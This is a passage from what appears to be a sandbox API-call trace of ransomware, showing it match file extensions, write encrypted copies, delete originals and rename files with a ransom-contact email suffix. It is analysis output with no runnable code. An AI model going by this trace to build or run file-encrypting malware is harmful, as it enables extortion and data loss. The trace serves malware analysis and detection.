lpString2=".msi") returned -1 [0139.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.095] lstrlenW (lpString=".1cd") returned 4 [0139.095] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0139.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.095] lstrlenW (lpString=".jpg") returned 4 [0139.095] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0139.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.096] lstrlenW (lpString=".doc") returned 4 [0139.096] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0139.096] lstrlenW (lpString=".docx") returned 5 [0139.096] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0139.096] lstrlenW (lpString=".pdf") returned 4 [0139.096] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0139.096] lstrlenW (lpString=".xls") returned 4 [0139.096] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0139.096] lstrlenW (lpString=".xlsx") returned 5 [0139.096] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0139.096] lstrlenW (lpString=".ppt") returned 4 [0139.096] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0139.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.096] lstrlenW (lpString=".zip") returned 4 [0139.096] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0139.096] lstrlenW (lpString=".rar") returned 4 [0139.096] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0139.096] lstrlenW (lpString=".bz2") returned 4 [0139.096] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0139.096] lstrlenW (lpString=".7z") returned 3 [0139.096] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0139.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.096] lstrlenW (lpString=".dbf") returned 4 [0139.097] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0139.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.097] lstrlenW (lpString=".1cd") returned 4 [0139.097] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0139.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0139.097] lstrlenW (lpString=".jpg") returned 4 [0139.097] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0139.097] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0139.097] lstrlenW (lpString="SetupEngine.dll") returned 15 [0139.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0139.102] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=807256) returned 1 [0139.103] CloseHandle (hObject=0x1084) returned 1 [0139.104] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0139.104] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.104] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0139.104] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.104] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0139.109] GetLastError () returned 0x0 [0139.109] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0xc5158, lpOverlapped=0x0) returned 1 [0139.126] WriteFile (in: hFile=0x10a8, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xc5160, lpOverlapped=0x0) returned 1 [0139.410] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.410] WriteFile (in: hFile=0x10a8, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf2, lpOverlapped=0x0) returned 1 [0139.410] SetEndOfFile (hFile=0x10a8) returned 1 [0139.410] CloseHandle (hObject=0x10a8) returned 1 [0139.454] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.454] SetEndOfFile (hFile=0x1084) returned 1 [0139.554] CloseHandle (hObject=0x1084) returned 1 [0139.554] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0139.554] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0139.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.555] lstrlenW (lpString=".doc") returned 4 [0139.555] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.555] lstrlenW (lpString=".docx") returned 5 [0139.555] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0139.555] lstrlenW (lpString=".pdf") returned 4 [0139.555] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.555] lstrlenW (lpString=".xls") returned 4 [0139.555] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.555] lstrlenW (lpString=".xlsx") returned 5 [0139.555] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0139.555] lstrlenW (lpString=".ppt") returned 4 [0139.555] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.555] lstrlenW (lpString=".zip") returned 4 [0139.555] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.555] lstrlenW (lpString=".rar") returned 4 [0139.555] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.555] lstrlenW (lpString=".bz2") returned 4 [0139.555] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.555] lstrlenW (lpString=".7z") returned 3 [0139.555] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.556] lstrlenW (lpString=".dbf") returned 4 [0139.556] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.556] lstrlenW (lpString=".1cd") returned 4 [0139.556] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.556] lstrlenW (lpString=".jpg") returned 4 [0139.556] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.556] lstrlenW (lpString=".doc") returned 4 [0139.556] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.556] lstrlenW (lpString=".docx") returned 5 [0139.556] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0139.556] lstrlenW (lpString=".pdf") returned 4 [0139.556] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.556] lstrlenW (lpString=".xls") returned 4 [0139.556] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.556] lstrlenW (lpString=".xlsx") returned 5 [0139.556] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0139.556] lstrlenW (lpString=".ppt") returned 4 [0139.556] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.556] lstrlenW (lpString=".zip") returned 4 [0139.556] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.557] lstrlenW (lpString=".rar") returned 4 [0139.557] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.557] lstrlenW (lpString=".bz2") returned 4 [0139.557] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.557] lstrlenW (lpString=".7z") returned 3 [0139.557] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.557] lstrlenW (lpString=".dbf") returned 4 [0139.557] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.557] lstrlenW (lpString=".1cd") returned 4 [0139.557] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0139.557] lstrlenW (lpString=".jpg") returned 4 [0139.557] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.557] lstrcmpiW (lpString1=".msu", lpString2=".com") returned 1 [0139.558] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0139.558] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0139.558] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=2192672) returned 1 [0139.558] CloseHandle (hObject=0x1084) returned 1 [0139.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0139.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.558] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0139.563] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0139.563] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc64 | out: lpNewFilePointer=0x0) returned 1 [0139.563] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0139.563] ReadFile (in: hFile=0x1084, lpBuffer=0x349b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x349b058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0139.622] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0139.622] ReadFile (in: hFile=0x1084, lpBuffer=0x34db058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x34db058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0139.903] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.903] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0139.903] ReadFile (in: hFile=0x1084, lpBuffer=0x351b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x351b058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0140.091] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.091] WriteFile (in: hFile=0x1084, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2a0fca8, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0140.302] SetEndOfFile (hFile=0x1084) returned 1 [0140.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3e780e0 [0140.308] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.308] WriteFile (in: hFile=0x1084, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.309] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.310] WriteFile (in: hFile=0x1084, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.312] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0140.312] WriteFile (in: hFile=0x1084, lpBuffer=0x3e780e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e780e0*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0140.314] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e780e0 | out: hHeap=0x5a0000) returned 1 [0140.314] CloseHandle (hObject=0x1084) returned 1 [0140.991] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0140.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.992] lstrlenW (lpString=".doc") returned 4 [0140.992] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0140.992] lstrlenW (lpString=".docx") returned 5 [0140.992] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0140.992] lstrlenW (lpString=".pdf") returned 4 [0140.992] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0140.992] lstrlenW (lpString=".xls") returned 4 [0140.992] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0140.992] lstrlenW (lpString=".xlsx") returned 5 [0140.992] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0140.992] lstrlenW (lpString=".ppt") returned 4 [0140.992] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0140.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.992] lstrlenW (lpString=".zip") returned 4 [0140.992] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0140.993] lstrlenW (lpString=".rar") returned 4 [0140.993] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0140.993] lstrlenW (lpString=".bz2") returned 4 [0140.993] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0140.993] lstrlenW (lpString=".7z") returned 3 [0140.993] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0140.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.993] lstrlenW (lpString=".dbf") returned 4 [0140.993] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0140.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.993] lstrlenW (lpString=".1cd") returned 4 [0140.993] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0140.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.993] lstrlenW (lpString=".jpg") returned 4 [0140.993] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0140.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.993] lstrlenW (lpString=".doc") returned 4 [0140.993] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0140.993] lstrlenW (lpString=".docx") returned 5 [0140.993] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0140.993] lstrlenW (lpString=".pdf") returned 4 [0140.993] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0140.993] lstrlenW (lpString=".xls") returned 4 [0140.994] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0140.994] lstrlenW (lpString=".xlsx") returned 5 [0140.994] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0140.994] lstrlenW (lpString=".ppt") returned 4 [0140.994] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0140.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.994] lstrlenW (lpString=".zip") returned 4 [0140.994] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0140.994] lstrlenW (lpString=".rar") returned 4 [0140.994] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0140.994] lstrlenW (lpString=".bz2") returned 4 [0140.994] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0140.994] lstrlenW (lpString=".7z") returned 3 [0140.994] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0140.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.994] lstrlenW (lpString=".dbf") returned 4 [0140.994] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0140.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.994] lstrlenW (lpString=".1cd") returned 4 [0140.994] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0140.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0140.994] lstrlenW (lpString=".jpg") returned 4 [0140.994] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0140.995] lstrcmpiW (lpString1=".msu", lpString2=".com") returned 1 [0140.995] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0140.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0140.995] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=2141433) returned 1 [0140.995] CloseHandle (hObject=0x1084) returned 1 [0140.995] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0140.995] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0140.995] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0140.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0141.094] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc64 | out: lpNewFilePointer=0x0) returned 1 [0141.094] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0141.094] ReadFile (in: hFile=0x1084, lpBuffer=0x349b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x349b058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0142.327] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0142.327] ReadFile (in: hFile=0x1084, lpBuffer=0x34db058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x34db058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0142.471] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.471] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc24 | out: lpNewFilePointer=0x0) returned 1 [0142.471] ReadFile (in: hFile=0x1084, lpBuffer=0x351b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a0fc30, lpOverlapped=0x0 | out: lpBuffer=0x351b058*, lpNumberOfBytesRead=0x2a0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0142.759] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.759] WriteFile (in: hFile=0x1084, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2a0fca8, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0142.832] SetEndOfFile (hFile=0x1084) returned 1 [0142.832] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3e380d8 [0142.836] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0142.836] WriteFile (in: hFile=0x1084, lpBuffer=0x3e380d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e380d8*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0142.838] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0142.838] WriteFile (in: hFile=0x1084, lpBuffer=0x3e380d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e380d8*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0143.750] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fc74 | out: lpNewFilePointer=0x0) returned 1 [0143.751] WriteFile (in: hFile=0x1084, lpBuffer=0x3e380d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e380d8*, lpNumberOfBytesWritten=0x2a0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0143.752] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e380d8 | out: hHeap=0x5a0000) returned 1 [0143.753] CloseHandle (hObject=0x1084) returned 1 [0144.395] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0144.396] lstrlenW 